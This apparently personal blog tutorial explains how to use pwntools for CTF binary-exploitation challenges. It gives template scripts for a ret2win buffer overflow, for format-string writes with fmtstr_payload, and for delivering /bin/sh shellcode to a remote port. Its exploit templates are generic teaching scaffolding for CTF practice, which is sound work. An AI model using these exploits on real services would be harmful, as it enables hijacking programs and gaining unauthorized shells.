Note that this is a very uncomprehensive guide and merely serves as the greatest-common-denominator use case when I’m solving pwn challenges. As such, there is much that pwntools has to offer that I will not cover either for brevity or because I am not aware of them.

That being said, I’ve broken this post down into four sections, the zeroth of which is a “preamble” that I use in all my scripts to set all the variables and initializes everything needed for the coming script. Sections one through three have some overlap but serve as slightly different setups for buffer overflow, format string, and shellcode vulnerabilities.

0. Preamble

This is mostly similar to pwninit’s auto-generated script with some slight modifications for the args in conn().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *

exe = ELF("BINARY_NAME")

context.binary = exe


def conn():
	if args.REMOTE:
		r = remote("addr",1337)
	else:
		r = process([exe.path])
		if args.GDB:
			gdb.attach(r,gdbscript='''
			c
			''')
	return r

This allows us to reference our local copy of the binary via the variable ’exe’. This is a pwntools ELF object.

1
exe = ELF("BINARY_NAME")

Fills pwntools’ “context” feature with all the info it can find from the exe. Most importantly, it sets the endianness and architecture, which later functions will require to build our payloads appropriately.

1
context.binary = exe

This wraps up our connection in a tidy area based on what we’re doing. It will produce an object that we interact with in our main function dependent on args passed in execution of the script. The default spawns the local process for interaction, but if REMOTE is passed (e.g., python3 ./solve.py REMOTE) then it will switch over to the remote server during interaction. Local interactions may also optionally supply a GDB arg to attach GDB to the local process. (If you do this, you will likely have to set context.terminal which varies depending on your terminal setup. For tmux people, you can use context.terminal = ['tmux','splitw','-h'])

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def conn():
	if args.REMOTE:
		r = remote("addr",1337)
	else:
		r = process([exe.path])
		if args.GDB:
			gdb.attach(r,gdbscript='''
			c
			''')
	return r

1. Buffer Overflow / ret2win

We will assume that the preamble is in place. This script performs a very simple buffer overflow ret2win, where the return address we want to return to is stored in targetAddr.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
r = conn()


offset = 0
targetAddr = 0x0
payload = flat({
    offset: targetAddr
})
r.sendlineafter(b'DELIM_HERE', payload)

r.interactive()

flat() forms a payload of any length with a sequence of letters (the same as cyclic) and will do in-place replacement of these characters at an offset with some data in key:value format (offset:data). In this script, it will generate an offset number of characters, then place the data that targetAddr has at the end. It is important to note that flat() will automatically swap the endianness of data based on the context we set earlier.

1
2
3
payload = flat({
    offset: targetAddr
})

For example, if our offset is 8 and our target addr is 0x1337CAFE, then it will produce a (little-endian) payload: aaaabaaa\xfe\xca\x37\x13 You can also do multiple positions and data:

1
2
3
4
payload = flat({
    offset: targetAddr,
    offset2: 0x99999999
})

Note that if offset+len(targetAddr) < offset2, offset2 will overwrite the data in targetAddr. Make sure there is sufficient space to store addresses. If they are adjacent you may use a tuple and it will automatically make space for you.

1
2
3
flat({
    offset: [targetAddr, adjacentData, 0x0, 0x99999999]
})

2. Format String

The standard format string attack tends to utilize the %n specifier to write specific data to some point in memory. This can be the return address, something in the GOT, or some other important piece of memory. There are others that use it to read values off the stack, and those are important too but since this is a pwntools guide, I’ll focus on pwntools’ FmtStr object.

The most basic and easiest to understand function is the fmtstr_payload() function, which takes in a few parameters:

  • offset - Index on the stack where user text will appear
  • writes - Dictionary of {addr: value} pairs
  • numbwritten - Number of bytes printed by the printf function before our input (important because it will mess up our offset)
  • write_size - byte/short/int, the size to split the data into per write
  • overflows - Max # of overflows in a fmtstr
  • strategy - fast/small, our payloads will always have trade off between size of the payload and size of the output
  • no_dollars - Boolean on whether it’s allowed to use the ‘$’ notation.

Most of these parameters are optional, with the most important ones being the first 3. Provided there aren’t additional restrictions on the input, the default settings should be fine.

r = conn()

offset = 6
writes = {0x40000: 0x1337cafe}
nwritten = 13 # Prints "You entered: " before our input

payload = fmtstr_payload(offset, writes, nwritten)

r.sendlineafter(b'Input: ', payload)

The offset is found by typing a recognizable pattern of letters like ‘AAAAAAAA’ followed by a ‘%p.%p.%p.%p.%p.%p.%p.%p’ chain, which will print items off the stack. We simply count how many %p addresses we have before we get to 0x4141414141414141 (in the case of our A’s payload).

> AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

AAAAAAAA.0x8c16721.0x7f95f340a7a0.0x7f95f340a7a0.0x8c1674d.(nil).0x7f95f367bb15.0x7ffcc912ee68.0x7ffcc912ee58.0x100000000.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70

Here our offset is 10 and numbwritten (nwritten) is 0.

The writes will obviously be dependent on what you’re trying to do, but in my example code I’m writing the value 0x1337cafe to the address 0x40000. Once you have these values, you may simply send the payload and your writes should execute.

3. Shellcode

Shellcode is pretty simple, with the execution method being either a buffer overflow, format string, or some other flaw in the program. The hardest part being constructing the assembly code required. Thankfully, pwntools has a utility for this, it’s called shellcraft.

Its use is fairly straightforward, assuming you know what architecture and OS your shellcode will run on. Pwntools organizes it based on shellcraft.{arch}.{platform}.{module}, so x86 Linux is shellcraft.i386.linux for Linux-specific shellcode and shellcraft.i386 for generic x86 shellcode. For this example I’ll use the shellcraft.i386.linux.sh() module to generate a quick /bin/sh shellcode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

r = remote('127.0.0.1',4444)

r.recvuntil(b'gift: ')
addr = int(r.recvline()[:-1],16)

offset = 52
payload = flat({
    0: shellcraft.i386.linux.sh(),
    offset: addr
})

r.sendlineafter(b': ', payload)
r.interactive()

Shellcraft will automatically produce to byte-string required and it can simply be inserted into anywhere with a write primitive.